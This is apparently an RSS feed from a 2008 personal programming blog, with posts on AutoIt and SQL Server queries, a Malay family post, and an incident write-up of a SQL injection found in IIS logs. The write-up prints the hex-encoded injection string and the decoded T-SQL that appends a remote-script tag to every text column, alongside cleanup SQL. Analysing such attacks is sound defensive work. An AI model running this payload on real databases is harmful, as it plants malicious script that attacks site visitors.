<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Arejae.Com</title>
	<atom:link href="http://www.arejae.com/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.arejae.com/blog</link>
	<description>me,myself,english and programming...</description>
	<pubDate>Sat, 19 Jul 2008 10:05:23 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>AutoIT - Connecting to SQL Server.</title>
		<link>http://www.arejae.com/blog/autoit-connecting-to-sql-server.html</link>
		<comments>http://www.arejae.com/blog/autoit-connecting-to-sql-server.html#comments</comments>
		<pubDate>Sat, 19 Jul 2008 08:52:40 +0000</pubDate>
		<dc:creator>arejae</dc:creator>
		
		<category><![CDATA[My Life]]></category>

		<category><![CDATA[Programming]]></category>

		<category><![CDATA[SQL/ETL]]></category>

		<guid isPermaLink="false">http://www.arejae.com/blog/autoit-connecting-to-sql-server.html</guid>
		<description><![CDATA[Playing around with AutoIt take me to next level of coding.  This time I need to automate a process where in a normal situation it will involve a few people to make the whole process completed.
One of the process need a connection to MS-SQL ,execute query and and get the results. As sharing is [...]]]></description>
			<content:encoded><![CDATA[<p>Playing around with AutoIt take me to next level of coding. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> This time I need to automate a process where in a normal situation it will involve a few people to make the whole process completed.</p>
<p>One of the process need a connection to MS-SQL ,execute query and and get the results. As sharing is caring, here I share how to connect to SQL-Server using AutoIt.</p>
<pre name="code" class="vb">
$conn = ObjCreate( "ADODB.Connection" )
$DSN = "DRIVER={SQL Server};SERVER=MySvr;DATABASE=MyDB;UID=MyUser;PWD=MyPwd;"
$conn.Open($DSN)
$rs = ObjCreate( "ADODB.RecordSet" )
$rs.Open( "SELECT @@VERSION AS myVersion", $conn )
MsgBox(0, "AutoIT-SQL Result", "Value = " &amp; $rs.Fields( "myVersion" ).Value )
$conn.close
</pre>
<p>The code will produce a msg box like below.</p>
<p><img height="146" alt="autoIT SQL Result" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/autoit-sql-result.jpg" width="387" /></p>
<p>Here you go&#8230;it&#8217;s only the basic code. You can do a lot more than this. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Have a nice weekend.</p>
<p>p/s: I have a job to do this weekend&#8230;..so..not a very nice weeked for me.adoii&#8230;.</p>
<div class='bookmarkify'><a name='bookmarkify'></a><div class='linkbuttons'><a href='http://myjeeves.ask.com/mysearch/BookmarkIt?v=1.2&amp;t=webpages&amp;url=http://www.arejae.com/blog/autoit-connecting-to-sql-server.html&amp;title=AutoIT - Connecting to SQL Server.' title='Save to Ask' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/ask.png' style='width:16px; height:16px;' alt='[Ask] ' /></a> <a href='http://www.bloglines.com/sub/http://www.arejae.com/blog/autoit-connecting-to-sql-server.html' title='Save to Bloglines' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/bloglines.png' style='width:16px; height:16px;' alt='[Bloglines] ' /></a> <a href='http://del.icio.us/post?url=http://www.arejae.com/blog/autoit-connecting-to-sql-server.html&amp;title=AutoIT - Connecting to SQL Server.' title='Save to del.icio.us' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/delicious.png' style='width:16px; height:16px;' alt='[del.icio.us] ' /></a> <a href='http://digg.com/submit?phase=2&amp;url=http://www.arejae.com/blog/autoit-connecting-to-sql-server.html&amp;title=AutoIT - Connecting to SQL Server.' title='Digg It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/digg.png' style='width:16px; height:16px;' alt='[Digg] ' /></a> <a href='http://www.furl.net/storeIt.jsp?u=http://www.arejae.com/blog/autoit-connecting-to-sql-server.html&amp;t=AutoIT - Connecting to SQL Server.' title='Save to Furl' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/furl.png' style='width:16px; height:16px;' alt='[Furl] ' /></a> <a href='http://www.stumbleupon.com/submit?url=http://www.arejae.com/blog/autoit-connecting-to-sql-server.html&amp;title=AutoIT - Connecting to SQL Server.' title='Stumble It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/stumbleupon.png' style='width:16px; height:16px;' alt='[StumbleUpon] ' /></a> <a href='http://technorati.com/faves?add=http://www.arejae.com/blog/autoit-connecting-to-sql-server.html' title='Add to my Technorati Favorites' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/technorati.png' style='width:16px; height:16px;' alt='[Technorati] ' /></a>  <a title='See more bookmark and sharing options...' href='http://www.arejae.com/blog/autoit-connecting-to-sql-server.html#bookmarkify' rel='nofollow'><small>More&nbsp;&raquo;</small></a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.arejae.com/blog/autoit-connecting-to-sql-server.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>MSSQL - ORDER BY with a specific words</title>
		<link>http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html</link>
		<comments>http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html#comments</comments>
		<pubDate>Mon, 07 Jul 2008 05:10:06 +0000</pubDate>
		<dc:creator>arejae</dc:creator>
		
		<category><![CDATA[SQL/ETL]]></category>

		<guid isPermaLink="false">http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html</guid>
		<description><![CDATA[In SQL,the only option for Order by is either using Ascending or Descending. Sometimes,these two option is not possible to order the item based on your needs.
For example,let say you have a data like below and want to order by Type - Open then Close then Suspended.

Problem         [...]]]></description>
			<content:encoded><![CDATA[<p>In SQL,the only option for Order by is either using Ascending or Descending. Sometimes,these two option is not possible to order the item based on your needs.</p>
<p>For example,let say you have a data like below and want to order by Type - Open then Close then Suspended.</p>
<pre>
Problem          Type
---------      --------
Problem 1      Suspended
Problem 2      Suspended
Problem 3      Open
Problem 4      Open
Problem 5      Close
Problem 6      Close
</pre>
<p>You cannot get the expected result based on normal Ascending or Descending. Then, how you can solve this problem using a normal SQL query ? Well, the solution is pretty much easy actually.</p>
<p><span id="more-391"></span></p>
<p>You just need to modify a litte bit your order by statement to get the expected. As for this case, you can solve using below query.</p>
<p><img height="211" alt="orderBy" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/orderby-1.jpg" width="440" /></p>
<p><strong><em>select * from #XX order by replace(Type,&#8217;Open&#8217;,'A&#8217;)</em></strong></p>
<p>So the trick is to replace your value that you want to make it appear at the top. In this case,&#8217;Open&#8217; should be at the top,so we replace it with &#8216;A&#8217; . Because A should be at the first position for asc order.</p>
<p>Hope it solve some of your SQL problems.</p>
<p>Till then&#8230;happy SQL&#8217;ING. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class='bookmarkify'><a name='bookmarkify'></a><div class='linkbuttons'><a href='http://myjeeves.ask.com/mysearch/BookmarkIt?v=1.2&amp;t=webpages&amp;url=http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html&amp;title=MSSQL - ORDER BY with a specific words' title='Save to Ask' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/ask.png' style='width:16px; height:16px;' alt='[Ask] ' /></a> <a href='http://www.bloglines.com/sub/http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html' title='Save to Bloglines' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/bloglines.png' style='width:16px; height:16px;' alt='[Bloglines] ' /></a> <a href='http://del.icio.us/post?url=http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html&amp;title=MSSQL - ORDER BY with a specific words' title='Save to del.icio.us' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/delicious.png' style='width:16px; height:16px;' alt='[del.icio.us] ' /></a> <a href='http://digg.com/submit?phase=2&amp;url=http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html&amp;title=MSSQL - ORDER BY with a specific words' title='Digg It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/digg.png' style='width:16px; height:16px;' alt='[Digg] ' /></a> <a href='http://www.furl.net/storeIt.jsp?u=http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html&amp;t=MSSQL - ORDER BY with a specific words' title='Save to Furl' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/furl.png' style='width:16px; height:16px;' alt='[Furl] ' /></a> <a href='http://www.stumbleupon.com/submit?url=http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html&amp;title=MSSQL - ORDER BY with a specific words' title='Stumble It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/stumbleupon.png' style='width:16px; height:16px;' alt='[StumbleUpon] ' /></a> <a href='http://technorati.com/faves?add=http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html' title='Add to my Technorati Favorites' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/technorati.png' style='width:16px; height:16px;' alt='[Technorati] ' /></a>  <a title='See more bookmark and sharing options...' href='http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html#bookmarkify' rel='nofollow'><small>More&nbsp;&raquo;</small></a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.arejae.com/blog/mssql-order-by-with-a-specific-words.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>SQL Injection Attack using  T-SQL and HEXADECIMAL</title>
		<link>http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html</link>
		<comments>http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html#comments</comments>
		<pubDate>Sat, 05 Jul 2008 11:19:28 +0000</pubDate>
		<dc:creator>arejae</dc:creator>
		
		<category><![CDATA[:Else:]]></category>

		<guid isPermaLink="false">http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html</guid>
		<description><![CDATA[SQL Injection occurs when an attacker is able to insert a series of SQL statements into a &#8216;query&#8217; by manipulating data input into an application. This can be either using a web form or URL query string.
Last week, I found the sample of real case where the attacker used T-SQL combining with HEX values to [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/SQL_injection">SQL Injection</a> occurs when an attacker is able to insert a series of <a class="zem_slink" title="SQL" href="http://en.wikipedia.org/wiki/SQL" rel="wikipedia">SQL</a> statements into a &#8216;query&#8217; by manipulating data input into an application. This can be either using a <a class="zem_slink" title="Form (web)" href="http://en.wikipedia.org/wiki/Form_%28web%29" rel="wikipedia">web form</a> or <a class="zem_slink" title="Uniform Resource Locator" href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator" rel="wikipedia">URL</a> <a class="zem_slink" title="Query string" href="http://en.wikipedia.org/wiki/Query_string" rel="wikipedia">query string</a>.</p>
<p>Last week, I found the sample of real case where the attacker used <a class="zem_slink" title="Transact-SQL" href="http://en.wikipedia.org/wiki/Transact-SQL" rel="wikipedia">T-SQL</a> combining with <a class="zem_slink" title="Hexadecimal" href="http://en.wikipedia.org/wiki/Hexadecimal" rel="wikipedia">HEX</a> values to do the injection.</p>
<p>In this post i&#8217;ll show how the SQL injection look like and the solution to revert back the effected data based on the attacked. What I can say is that, the attacker is quite a &#8216;nice&#8217; person since the SQL query did not do any big harm to the data itself.</p>
<p>From <a class="zem_slink" title="Internet Information Services" href="http://www.microsoft.com/iis" rel="homepage">IIS</a> log file, below are the attacked look like. Note that all the &#8216;XXX&#8217; are not the original values.</p>
<p><strong>XXXX.asp?XXXXX@;DECLARE%20@S%20VARCHAR(4000);SET%20@S=</strong></p>
<p><strong>CAST(0&#215;4445434C4XXXXXXXXXXXXX72736F7220%20</strong></p>
<p><strong>AS%20VARCHAR(4000));EXEC(@S);&#8211;</strong></p>
<p>Based on above query string,the original values that executed will be like below.</p>
<pre class="sql" name="code">
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src="hxxp://www.xxx.xxx/b.js" type="text/javascript">
</script>''') 

FETCH NEXT FROM Table_Cursor INTO @T,@C 

END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
</pre>
<p></p>
<p>That is very powerful query whereby it will get all the <span class="zem_slink">tables</span> in the database using sysobjects and look for field which are NTEXT,TEXT,NVARCHAR,VARCHAR.</p>
<p><span id="more-389"></span></p>
<p>Then, the query will try to update the field to add the additional values.Something like : original value + new value. See,that is why I say this guy still a &#8216;nice&#8217; person. I&#8217;m not sure what will going to happen in case the statement is something else.</p>
<p>The solution for this is very simple where we just need to revert back the original values using below statement.Use back the same code that attacker use with minor modification to cater for our update.</p>
<pre class="sql" name="code">
SET @Sqltext = "Update [" + convert(Varchar, @tab) + "] "
IF (@xtype=231) or (@xtype=167)
SET @Sqltext = @Sqltext + "SET [" + convert(Varchar, @col) + "] = replace(["+  convert(Varchar, @col) + "], '<script src="http://www.xxx.xxx/b.js" type="text/javascript">
</script>','')"
ELSE
   SET @Sqltext = @Sqltext + "SET [" + convert(Varchar, @col) + "] = substring(["+  convert(Varchar, @col) + "],1,PATINDEX('%<script src="http:%" type="text/javascript">
</script>
</pre>
<p>
<em>(Let me know if you guys need the whole query since I notice that my sql code here is not properly displayed.)</em></p>
<p>Well, there are good and bad about this thing. I don&#8217;t want to talk about bad things. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>The good things is, I learn new stuff. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>On top of that, I also learn how to print getdate() using <a class="zem_slink" title="Hexadecimal" href="http://en.wikipedia.org/wiki/Hexadecimal" rel="wikipedia">HEX</a> and no&#8230;I&#8217;m not a hackers,crackers or attackers <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img height="123" alt="todaydateinHex" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/todaydateinhex-small.jpg" width="450" /></p>
<p>Till then, adios and Have a nice weekend. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Update:</p>
<p><a href="http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners" target="_blank">Top 15 FREE SQL Injection Scanners</a></p>
<div class='bookmarkify'><a name='bookmarkify'></a><div class='linkbuttons'><a href='http://myjeeves.ask.com/mysearch/BookmarkIt?v=1.2&amp;t=webpages&amp;url=http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html&amp;title=SQL Injection Attack using  T-SQL and HEXADECIMAL' title='Save to Ask' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/ask.png' style='width:16px; height:16px;' alt='[Ask] ' /></a> <a href='http://www.bloglines.com/sub/http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html' title='Save to Bloglines' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/bloglines.png' style='width:16px; height:16px;' alt='[Bloglines] ' /></a> <a href='http://del.icio.us/post?url=http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html&amp;title=SQL Injection Attack using  T-SQL and HEXADECIMAL' title='Save to del.icio.us' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/delicious.png' style='width:16px; height:16px;' alt='[del.icio.us] ' /></a> <a href='http://digg.com/submit?phase=2&amp;url=http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html&amp;title=SQL Injection Attack using  T-SQL and HEXADECIMAL' title='Digg It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/digg.png' style='width:16px; height:16px;' alt='[Digg] ' /></a> <a href='http://www.furl.net/storeIt.jsp?u=http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html&amp;t=SQL Injection Attack using  T-SQL and HEXADECIMAL' title='Save to Furl' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/furl.png' style='width:16px; height:16px;' alt='[Furl] ' /></a> <a href='http://www.stumbleupon.com/submit?url=http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html&amp;title=SQL Injection Attack using  T-SQL and HEXADECIMAL' title='Stumble It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/stumbleupon.png' style='width:16px; height:16px;' alt='[StumbleUpon] ' /></a> <a href='http://technorati.com/faves?add=http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html' title='Add to my Technorati Favorites' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/technorati.png' style='width:16px; height:16px;' alt='[Technorati] ' /></a>  <a title='See more bookmark and sharing options...' href='http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html#bookmarkify' rel='nofollow'><small>More&nbsp;&raquo;</small></a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.arejae.com/blog/sql-injection-attack-using-t-sql-and-hexadecimal.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>Masa terlalu pantas berlalu&#8230;.</title>
		<link>http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html</link>
		<comments>http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html#comments</comments>
		<pubDate>Fri, 04 Jul 2008 00:05:10 +0000</pubDate>
		<dc:creator>arejae</dc:creator>
		
		<category><![CDATA[My Life]]></category>

		<guid isPermaLink="false">http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html</guid>
		<description><![CDATA[Salam jumaat.  
Sabtu lepas aku dikejutkan lagi dengan berita kematian. Kali ini giliran jiran aku pulak yg pergi dulu di usia awal 40an meninggalkan seorang isteri dan seorang anak yang masih kecil.
Teringat pula kisah hidup arwah one of my friend,Zul Rushdi yang juga meninggal di awal 40an.Al-fatihah utk beliau&#8230;Al-fatihah juga untuk arwah ayah,arwah-arwah muslimin [...]]]></description>
			<content:encoded><![CDATA[<p>Salam jumaat. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Sabtu lepas aku dikejutkan lagi dengan berita kematian. Kali ini giliran jiran aku pulak yg pergi dulu di usia awal 40an meninggalkan seorang isteri dan seorang anak yang masih kecil.</p>
<p>Teringat pula kisah hidup arwah one of my friend,<a href="http://zulrushdi.net/" target="_blank">Zul Rushdi</a> yang juga meninggal di awal 40an.Al-fatihah utk beliau&#8230;Al-fatihah juga untuk arwah ayah,arwah-arwah muslimin dan muslimat yang telah pergi dulu meninggalkan dunia yg fana ini.</p>
<p>Bilakah saat kita pula yang di bawa menaiki <a href="http://keretamayat.blogspot.com/" target="_blank">kereta mayat</a> ek ? Hanya Allah taala yang tahu. Yelah,dengan iman yang tak banyak nie, takut juga kalau pergi dengan keadaan yang lalai.Ampunkan dosa kami Ya-Allah&#8230;</p>
<p>Pantasnya masa berlalu.Rasa semacam baru jer ambik result SPM dulu..baru jer habis matrik,baru jer grad,baru jer kawin,baru jer dapat anak and macam-macam lagi yang terasa baru jer. Pejam celik dah pertengahan tahun 2008 kita yer.</p>
<p>anak-anak pun dah makin besar.</p>
<p>Anak yang sulung.Kak long. <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><img height="337" alt="P1010680" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/p1010680-small.jpg" width="450" /></p>
<p>First day nak pergi tadika,sempat posing lagi tuh.</p>
<p><img height="337" alt="P1010687" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/p1010687-small.jpg" width="450" /></p>
<p><span id="more-386"></span></p>
<p>Balik dari tadika first day,dapat hadiah lagi.</p>
<p><img height="529" alt="anakku ke sekolah 1" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/anakku-ke-sekolah-1.jpg" width="450" /></p>
<p>Insya-Allah,semoga kak long jadi anak yang solehah.amin.</p>
<p><img height="337" alt="P1120718" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/p1120718-small.jpg" width="450" /></p>
<p>Kak long jaga adik baik-baik yer&#8230;</p>
<p><img height="531" alt="along adik" src="http://www.arejae.com/blog/wp-content/uploads/2008/07/along-adik.gif" width="392" /></p>
<p>Cepatnya masa berlalu..bagaimana pula dengan azam tahun baru hari tu ? any progress ? <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><em>p/s : Hari ini 4 Julai 2008 kita memasuki bulan Rejab. Bulan Rejab adalah bulan Allah swt.</em></p>
<div class='bookmarkify'><a name='bookmarkify'></a><div class='linkbuttons'><a href='http://myjeeves.ask.com/mysearch/BookmarkIt?v=1.2&amp;t=webpages&amp;url=http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html&amp;title=Masa terlalu pantas berlalu&#8230;.' title='Save to Ask' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/ask.png' style='width:16px; height:16px;' alt='[Ask] ' /></a> <a href='http://www.bloglines.com/sub/http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html' title='Save to Bloglines' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/bloglines.png' style='width:16px; height:16px;' alt='[Bloglines] ' /></a> <a href='http://del.icio.us/post?url=http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html&amp;title=Masa terlalu pantas berlalu&#8230;.' title='Save to del.icio.us' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/delicious.png' style='width:16px; height:16px;' alt='[del.icio.us] ' /></a> <a href='http://digg.com/submit?phase=2&amp;url=http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html&amp;title=Masa terlalu pantas berlalu&#8230;.' title='Digg It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/digg.png' style='width:16px; height:16px;' alt='[Digg] ' /></a> <a href='http://www.furl.net/storeIt.jsp?u=http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html&amp;t=Masa terlalu pantas berlalu&#8230;.' title='Save to Furl' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/furl.png' style='width:16px; height:16px;' alt='[Furl] ' /></a> <a href='http://www.stumbleupon.com/submit?url=http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html&amp;title=Masa terlalu pantas berlalu&#8230;.' title='Stumble It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/stumbleupon.png' style='width:16px; height:16px;' alt='[StumbleUpon] ' /></a> <a href='http://technorati.com/faves?add=http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html' title='Add to my Technorati Favorites' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/technorati.png' style='width:16px; height:16px;' alt='[Technorati] ' /></a>  <a title='See more bookmark and sharing options...' href='http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html#bookmarkify' rel='nofollow'><small>More&nbsp;&raquo;</small></a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.arejae.com/blog/masa-terlalu-pantas-berlalu.html/feed</wfw:commentRss>
		</item>
		<item>
		<title>MS-SQL : CHARINDEX Vs PATINDEX</title>
		<link>http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html</link>
		<comments>http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html#comments</comments>
		<pubDate>Wed, 02 Jul 2008 05:23:05 +0000</pubDate>
		<dc:creator>arejae</dc:creator>
		
		<category><![CDATA[Database]]></category>

		<category><![CDATA[SQL/ETL]]></category>

		<guid isPermaLink="false">http://www.arejae.com/blog/ms-sql-comparing-charindex-with-patindex.html</guid>
		<description><![CDATA[CHARINDEX and PATINDEX functions return the starting position of a pattern you specify. PATINDEX can use wildcard characters while CHARINDEX cannot.
Imagine you have a BoxNo field with below values in your table.
BoxNo
&#8212;&#8212;
BOX1
BOX3
BOX4
BOX30
BOX123
Using MS-SQL syntax,You will have a few options to separate those values into number.
1.)
select BoxNo,substring(BoxNo,CHARINDEX(&#8217;X',BoxNo)+1,len(BoxNo)) as No from #temp
2.)
select BoxNo,replace(BoxNo,&#8217;BOX&#8217;,&#8221;) as No from #temp
You [...]]]></description>
			<content:encoded><![CDATA[<p>CHARINDEX and PATINDEX functions return the starting position of a pattern you specify. PATINDEX can use wildcard characters while CHARINDEX cannot.</p>
<p>Imagine you have a BoxNo field with below values in your table.</p>
<p>BoxNo<br />
&#8212;&#8212;<br />
BOX1<br />
BOX3<br />
BOX4<br />
BOX30<br />
BOX123</p>
<p>Using MS-SQL syntax,You will have a few options to separate those values into number.</p>
<p><strong>1.)</strong></p>
<p><strong>select BoxNo,substring(BoxNo,CHARINDEX(&#8217;X',BoxNo)+1,len(BoxNo)) as No from #temp</strong></p>
<p><strong>2.)</strong></p>
<p><strong>select BoxNo,replace(BoxNo,&#8217;BOX&#8217;,&#8221;) as No from #temp</strong></p>
<p>You will have a result like below:</p>
<p>BoxNo No<br />
&#8212;&#8212; &#8212;&#8212;<br />
BOX1 1<br />
BOX3 3<br />
BOX4 4<br />
BOX30 30<br />
BOX123 123</p>
<p>Now, again, imagine your BoxNo having values like below. The above SQL is not valid anymore since the pattern is different already.<font size="1"><strong>(These are my imaginary data, real data will not have something like below. :))</strong></font></p>
<p>BoxNo<br />
&#8212;&#8212;&#8212;<br />
BB12<br />
Box1222<br />
MyBox35<br />
My13<br />
MyBoXx123</p>
<p><span id="more-380"></span></p>
<p>This is the time where we need to use PATINDEX instead of CHARINDEX. Your query will look like more complex already.But with same expected result of course.</p>
<p>Using below SQL,</p>
<blockquote>
<p><strong>select BoxNo,substring(BoxNo,PATINDEX(&#8217;[A-Z,a-z]%&#8217;,BoxNo)+(PATINDEX(&#8217;%[0-9]%&#8217;,BoxNo)-1),len(BoxNo)) as No from #temp</strong></p>
</blockquote>
<p>Will produce something like below.</p>
<pre>
BoxNo        No
-----       -----
BB12          12
Box1222     1222
MyBox35       35
My13          13
MyBoXx123    123
</pre>
<p>
In real live,you will have different type of data with different pattern&#8230;this is the time where <a href="http://immike.net/blog/2007/06/21/extreme-regex-foo-what-you-need-to-know-to-become-a-regular-expression-pro/" target="_blank">reqular expression</a> will be your life saver.</p>
<p>Till then, happy SQL&#8217;ING <img src='http://www.arejae.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div class='bookmarkify'><a name='bookmarkify'></a><div class='linkbuttons'><a href='http://myjeeves.ask.com/mysearch/BookmarkIt?v=1.2&amp;t=webpages&amp;url=http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html&amp;title=MS-SQL : CHARINDEX Vs PATINDEX' title='Save to Ask' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/ask.png' style='width:16px; height:16px;' alt='[Ask] ' /></a> <a href='http://www.bloglines.com/sub/http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html' title='Save to Bloglines' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/bloglines.png' style='width:16px; height:16px;' alt='[Bloglines] ' /></a> <a href='http://del.icio.us/post?url=http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html&amp;title=MS-SQL : CHARINDEX Vs PATINDEX' title='Save to del.icio.us' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/delicious.png' style='width:16px; height:16px;' alt='[del.icio.us] ' /></a> <a href='http://digg.com/submit?phase=2&amp;url=http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html&amp;title=MS-SQL : CHARINDEX Vs PATINDEX' title='Digg It!' onclick='target="_blank";' rel='nofollow'><img src='http://www.arejae.com/blog/wp-content/plugins/bookmarkify/digg.png' style='width:16px; height:16px;' alt='[Digg] ' /></a> <a href='http://www.furl.net/storeIt.jsp?u=http://www.arejae.com/blog/ms-sql-charindex-vs-patindex.html&amp;t=MS-SQL : CHARINDEX Vs PATINDEX' title='Save to Furl' onclick='target="_blank";' rel='nofollow'><img 